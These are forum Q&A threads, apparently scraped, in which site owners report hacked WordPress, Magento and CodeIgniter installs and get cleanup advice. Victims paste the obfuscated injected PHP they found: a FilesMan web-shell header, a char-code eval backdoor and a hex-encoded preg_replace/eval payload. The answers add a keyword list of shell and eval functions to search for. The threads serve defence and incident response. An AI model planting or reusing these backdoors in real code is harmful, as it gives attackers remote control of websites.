Wordpress attack regarding .htaccess file - php
I get an Internal server error when I try to access my site. Server is actually working fine, I have access like usual in the ftp mode.
For some reason I am being attacked, likely an XSS attack, that affects my .htaccess file making it look like that:
lots of ##:
which results to a gigantic length of that line, making the server rendering it as a length overflow and not dipsplaying the site.
When I try to modify that file, it has changed the permissions, so i first need to change them and then modify it. After I have deleted all the "#" site works fine.
After some time, the same thing happens.
I have the latest wordpress installation, and have also installed wordfence.
How can I stop this?
EDIT: Server admin says it hasn't to do with the server, because there are other wordpress sites with no problem.
There are two possibilities
1) You/Some Plugin creator have created some bad PHP files in your WordPress installation which are writing to your .htaccess (maybe creating an endless loop) - this would probably be custom scripts as most Plugins in the WordPress repository have been tested
2) Most likely your WordPress installation and/or server have been compromised/hacked. Your server admin definitly should take your request seriously.
Steps to perform in case of hacked WordPress:
1) Make a backup
2) remove all files from the server and your database
3) change all passwords (WordPress, FTP, Provider-Login, database etc. etc.)
4) Make a fresh installation of WordPress
5) Check your database sql for any malicious code before putting the database backup in again
6) Check your WP-Content Folder for any malicious code before you put it on the server again
In many cases some PHP file is corrupted by an attacker which may write to .htaccess
After changing the FTP password, there are no more unwanted file edits, thus no more overflow server issues.
Related
WordPress files downloading instead of executing on the server
My WordPress files are downloading instead of executing on the server. I have tried changing the server but that does not solve the issue. I am sure it is happening from my WordPress files as the hosting runs other WordPress files smoothly. I wish I could could provide the code but that isn't needed. Please guide me. Thanks.
I have only seen this happen when: 1) PHP is turned off or not installed on the server 2) The server needs to be reset 3) File names are not correct 4) The redirect script is not redirecting as it should 5) Links are not valid The good news is most of these can be solved by you/your host. Call your host to ask them for help on verifying the PHP install/process. If everything is good (for instance, if you have another site on the same server that is working fine) then you need to verify file names. As this is WordPress and the file names are all pretty standard this isn't exactly likely but make sure there are no unwanted spaces and the file names are "something.php". With WordPress you may see a bunch of parameters passed through the URL so "something.php?blah=blah" Is fine too (no space between php and ?). Check the link you are clicking. The file names might be good but the link may be bad. It might be as simple as fixing all the link URLs. From what I recall of WordPress, there is a built in method of linking to pages within the same WP site. I believe these are all based off the URL in the database so you may want to verify the URL in the database/config file to verify WP is sending them to the correct place. If they are not stored in the database and are instead, coded directly into the content, you may have to manually update every link to the correct URL. Finally, if it is script or wordpress related you may want to consider a fresh WordPress install. The good thing about WordPress is all the good stuff is in the data base: 1) Make a backup of the data base 2) Trash your WP install completely 3) download and install new WP with desired plugins and themes 4) Restore database If the last step breaks the server again, check URLs within the database: http://codex.wordpress.org/Changing_The_Site_URL Your Host can usually help in backing up and restoring WP databases. Even godaddy (who does not support it) will often help you walk through the process (you really want to call the hosting team. As an ex-godaddy employee, those guys are the experts). If this isn't enough information, please provide a link to the site. It will allow me to do some quick troubleshooting to determine the overall issue. EDIT: Help for verifying php install Create a php file with the following contents: <?php phpinfo(); ?> And upload it to your site This will make information about your PHP install easily accessible Note: DO NOT LEAVE THIS FILE UP PERMANENTLY AND DO NOT POST A LINK PUBLICLY, YOU DO NOT WANT RANDOM PEOPLE ON THE INTERNET ACCESSING THIS INFORMATION If you can access the file and it loads up a bunch of information in a purple (I believe it is purple) table, your PHP install is up and running. If the file just downloads like the rest, contact your hosting provider.
Magento security issue
I am using a magento for my site. I am facing the some problem with it. After some time a code gets added in the header of the index files. and my site stops working. When I remove that error like (encrypted) code again site works well. Is there any way to avoid such code injections? I searched on the net but have not got the proper solution.
Only the /var and /media directories need to be writeable during normal operation, remove write privileges for the PHP user for all other dirs and files. This makes injection attacks much harder. This will interfere with updates applied via the Connect Manager, but I don't like to use that on live sites anyway. I prefer to apply updates on a local or staging copy, test, then upload via FTP or version control which does have write privileges.
Codeigniter application getting hacked, code injected in index.php
I have a codeigniter 2.0.2 project that keeps getting hacked. There are two main issues:
Malicious code is being added to the start of the index.php file
Rogue files are added to the server
According to the host there are no FTP logs to indicate these files were uploaded.
As there are no FTP upload logs related to the rogue files - does this mean it must be an exploit via the site itself e.g. a contact or upload form?
The site is on shared hosting - code it be a site on the same server is also getting hacked and this is causing the problems?
Would it help if I change the filename of index.php to something else?
As the index.php is getting modified should I CHMOD it to 644?
I've been looking for what the suggested permissions are for codeigniter projects but not sourced any yet. I was thinking 644 across the site apart from the upload/logs directory (777) - does this sound okay?
Code injected to the top of the index.php file:
<?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-
which is then followed by a long preg_replace statement with a long encoded string. This is followed by a second statement:
if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}
There is a contact form and a form where a user can upload items using CKFinder 2.0.1. Going to update this and see if that resolves it.
There's a couple of things you can do: Check your logfiles for POST requests to files with weird or unfamiliar names, e.g. .cache_123.php - these could be backdoor scripts, especially filenames starting with a dot, thus hiding it from the (regular) filesystem. Download the complete live site and do a site-wide search for things such as base64_decode, exec, preg_replace, passthru, system, shell_exec, eval, FilesMan Have your entire (downloaded live) site checked by running it through anti-virus software (AVG, Avast, ...) Chmod upload directories 775 instead of 777 if possible
I know this is an old thread, but I'd like to add an option to figure out what and where the problem is occurring. Create a hook which loads each time (doesn't matter at which stage) and dump the $this->input->post() and ->get() to a log file together with the classname and method name. This way you will see quick enough where the problem started.
I think is far easier to hack through a PHP app rather than an FTP server. Do you have any upload forms ? If you can't go with a VPS, try asking your host to move it to another shared server.
I think you really need to perform a code audit to find where the core vulnerability lies. Unless you run some sort of integrity checks you can't be sure if attacker has put backdoor in other files. As a quick fix, I would suggest you to install ModSecurity Apache module if possible. Next, look for places in code where file injection could occur (usually file upload functions).
Injection of PHP code to perform a 301
Some how I have managed to be attacked in a very specific manner on a site I help mantain and I am looking into whether or not the server was directly hacked or someone was able to inject the malicious script somehow.
First someone managed to get this:
#preg_replace("\x7c\50\x5b\136\x3c\135\x2b\51\x7c\151\x73\145","\x65\166\x61\154\x28\47\x24\142\x66\167\x3d\71\x30\65\x38\67\x3b\47\x2e\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b\44\x62\146\x77\75\x39\60\x35\70\x37\73","\x4c\62\x35\157\x59\156\x4d\166\x64\62\x56\151\x4c\62\x78\160\x64\155\x55\166\x61\110\x52\153\x62\62\x4e\172\x4c\63\x52\154\x63\63\x51\166\x62\107\x56\62\x5a\127\x77\171\x58\63\x52\154\x63\63\x51\166\x62\107\x39\156\x4c\171\x34\154\x4f\104\x49\64\x52\123\x55\167\x4d\104\x45\172\x4a\125\x49\64\x52\152\x4d\154\x51\153\x4d\170\x51\151\x56\103\x4d\152\x4a\103\x4a\124\x52\107\x4e\124\x63\75");
Into the very top of a PHP file right after the files comments. What this, and most likey other code did, was 301 redirect anyone not connecting to the site through a browser to a payday loan site. This ONLY effected my homepage, all other pages where fine.
There was probably more code to do it but this was the most confusing part since this code sits in a file called functions.php which is only ever included however IT IS the first file to be included within index.php (my homepage).
It is completely confusing me how some one could have got code there without directly hacking the server, there is no user input used there, it is literally sitting above the entire file. There is nothing there except this injected code and some comments above.
My envo is:
Gentoo
PHP 5.2.14-pl0-gentoo
Apache 2
I have checked server logs however, as usual, they deleted their trail.
This is also partly, as you have noticed, a server question but atm it is 90% programming question so I thought I would ask it here first.
Is there any vulnerability within PHP that could cause this?
If you need clarification let me know.
Edit
I have a staging system which has a
Work
Preview
Live
I know this is nothing to do with SQL injection since if I switch live and preview folder around I get no problems. I also do not store the gentoo password within the DB or the App and you can only connect to the server in a small range of IP addresses except for Apache which accept 80 and 443 connections from any host. Plus I use SQL escaping classes and methods within the site (PDO, MySQLi etc).
So this problem (which is even more confusing) is only located within one copy of my site and not the DB or anything.
Pinpointing this kind of things is more on the server admin side I guess. Check the attacker-modified file date, and look for for suspicious activity in that date and time in the server's log (apache logs, FTP logs, ssh logs maybe). This also may depend on your traffic, log size, and level of access to your server, as it may be prohibitive. If you have any html form that upload files, verify the directory in wich the files are stored for php shells . Also check the permissions on that directory. If you are on a shared hosting, this also can be the result of the attacker injecting a shell on another site, and then attacking yours by that mean. In that case contact your hosting company.
It's 99% chance the webserver fault, SQL injection is one thing, but I don't know, maybe they managed to somehow get your password with SQL injection and then log in to a control panel or ftp, but, I'd say it's the webserver.
Ok so I understand how and why now. It was the one thing I thought it would never be: Wordpress. I was basically a victim of: http://muninn.net/blog/2012/06/a-tale-of-east-asian-history-british-loan-sharks-and-a-russian-hacker.html Using a tool like: http://www.youtube.com/watch?v=y-Z5-uHvONc You see even though my main site is not made from wordpress and it has got a wordpress blog located at: /blog/ the hacker was able to use various Wordpress vulnerabilities to get around the location problem and plant scripts on any part of the server. By the way, this actually happened on the latest install of Wordpress. Double checked the version. We are not totally sure exactly when he placed the script (there are multiple instances of the foreign script being placed throughout the years!) but we do know this recent attack must have been sited also quite recently which puts the latest version (or the version before) under a huge amount of scrutiny. So a nice note of caution about Wordpress there...
Routing .htaccess to GitHub
I was wondering if there was a way to basically host a site on your server so you can run PHP, but have the actual code hosted on GitHub. In other words... If a HTTP request went to: http://mysite.com/docs.html It'd request and pull in the content (via file_get_contents() or something): https://raw.github.com/OscarGodson/Core.js/master/docs.html Or, if they went to: http://mysite.com/somedir/another/core.js It'd pull down: https://raw.github.com/OscarGodson/Core.js/master/somedir/another/core.js I know GitHub has their own DNS servers, but id rather host it on my so i can run server side code. What would the htaccess code look like for this?
This is beyond the capabilities of .htaccess files, if the requirement is to run the PHP embedded in the HTML stored on github.com at the server on yourserver.com simply by a configuration line like a redirect in the .htaccess file. A .htaccess file is typically used to provide directives to the Apache web server. These directives can indicate, for example, access permissions, popup password protection, linkages between URLs and the server's file system, handlers for certain types of files when fetched by the server before delivery to the browser, and redirects from one URL to another URL. An .htaccess file can issue redirects for http://mysite.com/somedir/another/core.js to https://raw.github.com.... but then the browser will be pointed to raw.github.com, not mysite.com. Tricks can be done with frames to make this redirection less transparent to the human at the browser... but these dont affect the fact that the data comes from github.com without ever going to the server at mysite.com In particular, PHP tags embedded in the HTML on github.com are never received by mysite.com's server and therefore will not run. Probably not want you want. Unless some big changes have occurred in Apache, .htaccess files will not set up that workflow. It might be possible for some expert to write an apache module to do it, but I am not sure. What you can do is put a cron job on mysite.com that git pull's from github.com every few minutes. Perhaps that is what you want to do instead?
If the server can run PHP code, you can do this. Basically, in the .htaccess file you use a RewriteRule to send all paths to a PHP script on your server. For example, a request for /somedir/anotherdir/core.js becomes /my-script.php/somedir/anotherdir/core.js. This is how a lot of app frameworks operate. When my-script.php runs the "real" path is in the PATH_INFO variable. From that point the script could then fetch the file from GitHub. If it was HTML or JavaScript or an image, it could just pass it along to the client. (To do things properly, though, you'll want to pass along all the right headers, too, like ETag and Last-Modified and then also check those files, so that caching works properly and you don't spend a lot of time transferring files that don't need to be transferred again and again. Otherwise your site will be really slow.) If the file is a PHP file, you could download it locally, then include it into the script in order to execute it. In this case, though, you need to make sure that every PHP file is self-contained, because you don't know which files have been fetched from GitHub yet, so if one file includes another you need to make sure the files dependent on the first file are downloaded, too. And the files dependent on those files, also. So, in short, the .htaccess part of this is really simple, it's just a single RewriteRule. The complexity is in the PHP script that fetches files from GitHub. And if you just do the simplest thing possible, your site might not work, or it will work but really painfully slowly. And if you do a ton of genius level work on that script, you could make it run OK. Now, what is the goal here? To save yourself the trouble of logging into the server and typing git pull to update the server files? I hope I've convinced you that trying to fetch files on demand from GitHub will be even more trouble than that.